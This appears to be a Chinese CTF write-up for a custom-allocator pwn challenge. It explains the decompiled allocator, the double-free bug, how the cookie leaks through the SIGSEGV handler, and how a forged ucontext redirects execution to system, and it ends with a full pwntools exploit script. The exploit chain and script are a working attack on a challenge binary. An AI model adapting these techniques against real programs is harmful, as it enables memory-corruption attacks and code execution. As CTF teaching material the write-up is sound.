自定义 arena 下的 double free 与 ucontext 劫持
主要是学习一下自定义管理器的解题思路,这个是目前见过的自定义最完善的
broken_manager题解
自定义main_arena题解,是2026ciscn半决赛的一道题
我们简单的审计一下这个题目,和强网的题目是很像的,我们先来看一下
这里的cookie是真随机数
arena->magic = 0xAACCBBDD0077EECCLL;
fd = open("/dev/random", 0);
read(fd, &arena->ptr_cookie, 4u);之后的话就是这个自定义的arena的挂接
if ( arena == &g_root_arena )
{
g_root_arena.next = &g_root_arena;
g_root_arena.prev = &g_root_arena;
}
else
{
arena->next = &g_root_arena;
arena->prev = g_root_arena.prev;
g_root_arena.prev->next = arena;
g_root_arena.prev = arena;
}之后就是这个arena分配内存块的方式
还有预留空间就切割0x4000从总空间中,假如说没有预留空间的话,就会调用mmap进行空间分配
if ( g_arena_region_cursor < g_arena_region_limit )
{
arena->bump_cursor = (unsigned int *)g_arena_region_cursor;
g_arena_region_cursor += 0x4000LL;
}
else // 拓展
{
arena->bump_cursor = (unsigned int *)mmap(0, 0x4000u, 3, 34, -1, 0);
}之后就给arena挂上这个内存区域的特性
memset(arena->bump_cursor, 0, 0x4000u);
arena->ptr_high32_mask = (unsigned __int64)arena->bump_cursor & 0xFFFFFFFF00000000LL;
arena->region_size = 0x4000;
arena->remaining_bytes = 0x4000;
arena->free_bins = arena->bump_cursor;
arena->free_bins = (unsigned int *)arena_alloc(arena, 0x80u);
}之后就是打印菜单,功能是完全的,然后我们看到还有一个0x66的选项,这里是我们的选项
[DEBUG] Received 0x7f bytes:
b'Chunks checking...\n'
b'[INFO]arfree: called.\n'
b'[INFO]: 9\n'
b'[INFO]arfree: called.\n'
b'[INFO]: 3\n'
b'[INFO]arfree: called.\n'
b'[INFO]: 1\n'
b'Check done.\n'
Chunks checking...
[INFO]arfree: called.
[INFO]: 9
[INFO]arfree: called.
[INFO]: 3
[INFO]arfree: called.
[INFO]: 1
Check done.
[*] Process './pwn' stopped with exit code 0 (pid 24495)
[*] Got EOF while reading in interactive我们的程序输出的逻辑俩看你的话,我们需要搞清楚这里输出的逻辑
当我们大致的分析清楚这个逻辑之后,我们就能大致搞清楚这个题目的基本逻辑了
printf("[INFO]: %d\n", *(user_ptr - 1));我们先看alloc的基本的逻辑
首先从arena中进行选取
current_arena = arena_list_root->prev;之后这里有个字节对齐
v2 = (request_size + 4) & 0xFFFFFFE0;
if ( (((_BYTE)request_size + 4) & 0x1F) != 0 )
n32 = 32;
else
n32 = 0;我们先看else,if那一块嵌套的有点多
这里看到大块是走的mmap流程的
else
{
v4 = mmap(0, alloc_size, 3, 34, -1, 0);
*v4 = alloc_size;
return v4 + 1;
}之后上面的就是小块了,在不用情况是进行这四种情况的分配的
这里首先是当前arena的freelist,如果有的话就直接解码返回
之后看全局的arena的freelist,有的话还是相同的逻辑的
如果freelist都没有,而且当前arena剩余空间不够,就把剩余的空间的挂机free_bins之后,之后新建一个新的arena
freelist没有,当前的bump区还够的话,会直接从bump_cursor中切一块
real_ptr = ptr_high32_mask ^ encoded_low32 ^ ptr_cookie之后就会返回一块指针给用户
if ( current_arena->free_bins[size_class] )
{
v15 = (unsigned int *)(current_arena->ptr_high32_mask
^ current_arena->free_bins[size_class]
^ current_arena->ptr_cookie);
current_arena->free_bins[size_class] = *v15;
return v15;
}
else if ( g_root_arena.free_bins[size_class] )
{
v14 = (unsigned int *)(g_root_arena.ptr_cookie ^ g_root_arena.free_bins[size_class] ^ g_root_arena.ptr_high32_mask);
g_root_arena.free_bins[size_class] = *v14;
return v14;
}
else if ( current_arena->remaining_bytes < alloc_size )
{ // If the current arena cannot satisfy the request, salvage leftover space into the root freelist and create a new arena.
if ( current_arena->remaining_bytes )
{
bump_cursor = current_arena->bump_cursor;
leftover_size_class = current_arena->remaining_bytes >> 5;
*bump_cursor = leftover_size_class;
bump_cursor[1] = g_root_arena.free_bins[leftover_size_class];
g_root_arena.free_bins[leftover_size_class] = ((_DWORD)bump_cursor + 4) ^ g_root_arena.ptr_cookie;
current_arena->remaining_bytes = 0;
}
v6 = arena_create_and_init();
v6->remaining_bytes -= alloc_size;
bump_cursor_1 = v6->bump_cursor;
v6->bump_cursor = (unsigned int *)((char *)bump_cursor_1 + alloc_size);
*bump_cursor_1 = size_class;
return bump_cursor_1 + 1;
}
else
{
current_arena->remaining_bytes -= alloc_size;
bump_cursor_2 = current_arena->bump_cursor;
current_arena->bump_cursor = (unsigned int *)((char *)bump_cursor_2 + alloc_size);
*bump_cursor_2 = size_class;
return bump_cursor_2 + 1;
}free的话这个相对的简单一点
当小于0x20的时候,会改进对应的bin,当非常大的话,会调用mumap释放
// Free small chunks back into the arena freelist; munmap oversized allocations.
int __fastcall arena_free(arena_t *arena_list_root, unsigned int *user_ptr)
{
unsigned int *v2; // rax
unsigned int len; // [rsp+14h] [rbp-Ch]
len = *(user_ptr - 1);
if ( len <= 0x20 )
{
puts("[INFO]arfree: called.");
*user_ptr = arena_list_root->free_bins[len];
v2 = &arena_list_root->free_bins[len];
*v2 = (unsigned int)user_ptr ^ arena_list_root->ptr_cookie;
}
else
{
puts("[INFO]arfree(munmap): called.");
LODWORD(v2) = munmap(user_ptr - 1, len);
}
return (int)v2;
}这个题目的漏洞是delete这里是清空了size,没有清空free
unsigned __int64 __fastcall menu_delete_chunk(arena_t *arena_list_root)
{
unsigned int n0x10; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc23_scanf("%d", &n0x10);
if ( n0x10 < 0x10 && g_chunks[n0x10] )
{
arena_free(arena_list_root, (unsigned int *)g_chunks[n0x10]);
g_chunk_sizes[n0x10] = 0;
}
return v3 - __readfsqword(0x28u);
}之后的还有add函数限制我们的实际的申请大小是小于0x200的
unsigned __int64 __fastcall menu_add_chunk(arena_t *arena_list_root)
{
unsigned int idx_1; // ebx
unsigned int idx; // [rsp+10h] [rbp-20h] BYREF
unsigned int request_size; // [rsp+14h] [rbp-1Ch] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
printf("Index: ");
__isoc23_scanf("%d", &idx);
if ( idx < 0x10 && !g_chunks[idx] )
{
printf("Size: ");
__isoc23_scanf("%d", &request_size);
if ( (int)request_size > 0 && (int)request_size <= 0x200 )
{
idx_1 = idx;
g_chunks[idx_1] = (char *)arena_alloc(arena_list_root, request_size);
g_chunk_sizes[idx] = request_size;
printf("Content: ");
read(0, g_chunks[idx], (int)request_size);
}
}
return v5 - __readfsqword(0x28u);
}我们写个简单的demo脚本,可以看到我们的ptr并没有被ptr清除
这里我们delete之后show不出来数据,我们研究了一下还有这个逻辑
之后挂进去,chunk0->next指针的区域就变成了00字节截断,这里是我们show不出来的原因
*user_ptr = arena_list_root->free_bins[len]; //主要是这个,给指针写了0字节
v2 = &arena_list_root->free_bins[len];
*v2 = (unsigned int)user_ptr ^ arena_list_root->ptr_cookie;
}我们多绕一下next指针就行了,预防一下00截断
这里,我们大致是看懂了题目的逻辑,这个并不是完全的uaf利用,所以说还需要去搞懂
这里的话我们主要是利用的double free思路,主要是如下,这样我们就拥有了任意地址分配的能力
这里的话也没有double free的检查,自定义的好处是检查是很宽松的
add(0,size,content)
delete(0)
add(1,size,content)
delete(0)
edit(1,size,content)
这里报错是不会直接退出,而是会加载init_arena,我们可以利用这点把旧的cookie泄露出来
主要的代码如下,很隐蔽的
.init_array:0000000000004D40 dq offset runtime_init_and_install_sigsegv_handler ;然后这一块进行了初始化,一开始的总觉得少了点的什么,主要是少了这个
// Disable stdio buffering, set up an alternate signal stack, and install the SIGSEGV handler.
unsigned __int64 runtime_init_and_install_sigsegv_handler(void)
{
void *ss_sp; // rax
sigaltstack v2; // [rsp+0h] [rbp-C0h] BYREF
sigaction act; // [rsp+20h] [rbp-A0h] BYREF
unsigned __int64 v4; // [rsp+B8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
ss_sp = mmap(0, 0x20000u, 3, 34, -1, 0);
g_arena_region_limit = (unsigned __int64)ss_sp + 0x20000;
v2.ss_sp = ss_sp;
v2.ss_size = 0x4000;
v2.ss_flags = 0;
g_arena_region_cursor = (unsigned __int64)ss_sp + 0x4000;
if ( sigaltstack(&v2, 0) == -1 )
perror("sigaltstack");
act.sa_flags = 134217732;
act.sa_handler = (__sighandler_t)handle_invalid_ptr_and_restart;
sigaction(11, &act, 0);
return v4 - __readfsqword(0x28u);
}然后就会打印内容,这里的打印的ptr是经过加密的
// SIGSEGV recovery path: print fault info, reset allocator state, and restart main().
void __fastcall handle_invalid_ptr_and_restart(int signum, void *siginfo, void *ucontext)
{
char **v3; // rdx
unsigned int v4; // [rsp+24h] [rbp-Ch]
const void *v5; // [rsp+28h] [rbp-8h]
puts("Unfortunaly, a serious problem crash the system");
puts("There are some information about the bug, please copy them and send to xxx@yyy.zzz");
puts("Then, I will try my best to recover the program, but it still suggest to restart it.");
v4 = *((_DWORD *)siginfo + 1);
v5 = (const void *)*((_QWORD *)siginfo + 2);
memset(&g_root_arena, 0, sizeof(g_root_arena));
memset(g_chunks, 0, sizeof(g_chunks));
memset(g_chunk_sizes, 0, sizeof(g_chunk_sizes));
printf("Invalid ptr access: %p\n", v5);
printf("Errno: %d\n", v4);
main((int)"Errno: %d\n", (char **)v4, v3);
}这里的打印的地址是这样的,这里是涉及了内核的先关的一部分知识
- v4 -> siginfo->si_errno
- v5 -> siginfo->si_addr上面我们分析free的指针加密逻辑,这里我们简单的再总结一下。高32位是原先的,低32位是经过加密,并且在freelist是只存低32位的
之后我们就能算出来实际的地址,根据泄露的值就能反推出来新的cookie
有了新的cookie之后,我们就有了任意地址读和写的能力了
之后我们计算出来一开始ptr的完整的地址,也就是可以拿到anon_base的基址,这里我们可以定点打申请到一开始的arena的管理器分配的位置,泄露出来libc
之后我们还是利用这个逻辑,去伪造ucontext_t,返回之后执行执行我们想要的system即可
act.sa_handler = (__sighandler_t)handle_invalid_ptr_and_restart;
sigaction(11, &act, 0);这里是ai给我们的伪造的思路
不是造整个结构体,只要补这几处:
这样 handler 返回时,rt_sigreturn 会恢复成:
cmd_addr = altstack_base + 0xb800
rsp_addr = altstack_base + 0xbf88
system_addr = libc_base + libc.sym["system"]
arb_write(cmd_addr, b"cat flag\x00".ljust(0x10, b"\x00"))
arb_write(rsp_addr, p64(0))
arb_write(altstack_base + 0x34e8, p64(cmd_addr)) # RDI
arb_write(altstack_base + 0x3520, p64(rsp_addr)) # RSP
arb_write(altstack_base + 0x3528, p64(system_addr)) # RIP RDI = cmd_addr;
RSP = rsp_addr;
RIP = system_addr;最终伪造好的exp如下

from pwn import *
import ctypes
import os
import time
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-l 100']
context.log_level = 'debug'
libc = ELF('./libc.so.6')
io = process('./pwn')
sleep(0.2)
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rt = lambda x:io.recvuntil(x)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda :io.interactive()
sp = lambda :sleep(1.5)
q = lambda :sleep(0.2)
def cmd(choice):
rt(">> ")
sl(str(choice))
def add(index,size,content):
cmd(1)
rt("Index: ")
sl(str(index))
rt("Size: ")
sl(str(size))
rt("Content: ")
s(content)
def delete(index):
cmd(2)
rt("Index: ")
sl(str(index))
def show(index):
cmd(3)
rt("Index: ")
sl(str(index))
def edit(index,content):
cmd(4)
rt("Index: ")
sl(str(index))
rt("Content: ")
s(content)
add(5,0x100,b'a')
delete(5)
delete(5)
show(5)
enc_old = u32(io.recv(4))
pr(enc_old)
add(0,0x200,b'a'*0x200)
delete(0)
add(1,0x200,b'b'*0x200)
delete(0)
edit(1,p32(0xdeadbeef))
add(2,0x200,b'c'*0x200)
#触发崩溃
cmd(1)
rt("Index: ")
sl(str(3))
rt("Size: ")
sl(str(0x200))
rt("Invalid ptr access: ")
rt('0x')
fault_ptr = ri(12)
old_cookie = (fault_ptr & 0xffffffff) ^ 0xdeadbeef
pr(old_cookie)
add(0, 8, b'C'*8)
delete(0)
delete(0)
show(0)
enc_new = u32(io.recv(4))
pr(enc_new)
old_chunk0_low32 = enc_old ^ old_cookie
new_chunk0_low32 = (old_chunk0_low32 + 0x4000) & 0xffffffff
new_cookie = enc_new ^ new_chunk0_low32
pr(new_cookie)
def build(target):
encode_target = (target & 0xffffffff) ^ new_cookie
return encode_target
old_chunk0 = (fault_ptr & 0xffffffff00000000) | old_chunk0_low32
anon_base = old_chunk0 - 0x40A4
pr(anon_base)
add(2,8,b'a')
delete(2)
add(3,8,b'a')
delete(2)
edit(3,p32(build(anon_base+0x36e0)))
add(4,8,b'a')
add(5,8,b'a')
show(5)
lib = ru(6) - 0x203961
pr(lib)
libc.address = lib
#之后任意地址写,伪造出来我们的ucontext
cmd_addr = anon_base + 0xb800
system_addr = libc.sym["system"]
add(6,30,b'a')
delete(6)
add(7,30,b'a')
delete(6)
edit(7,p32(build(cmd_addr)))
add(8,30,b'a')
add(9,30,b"cat flag".ljust(0x10,b'\x00'))
'''
#修改rsp的数值,这里其实不需要额外改了,利用的我们控制指向一个本来合法的地址就行
delete(8)
edit(7,p32(build(anon_base + 0xbf88)))
add(14,30,b'a')
add(15,30,p64(anon_base + 0xbf88))
'''
add(10,0x200,b'a')
delete(10)
add(11,0x200,b'a')
delete(10)
edit(11,p32(build(anon_base + 0x34e8)))
add(12,0x200,b'a')
pd = p64(cmd_addr)
pd = pd.ljust(0x38,b'\x00')
pd += p64(anon_base + 0xbf88)
pd += p64(system_addr)
add(13,0x200,pd)
gdb.attach(io)
io.interactive()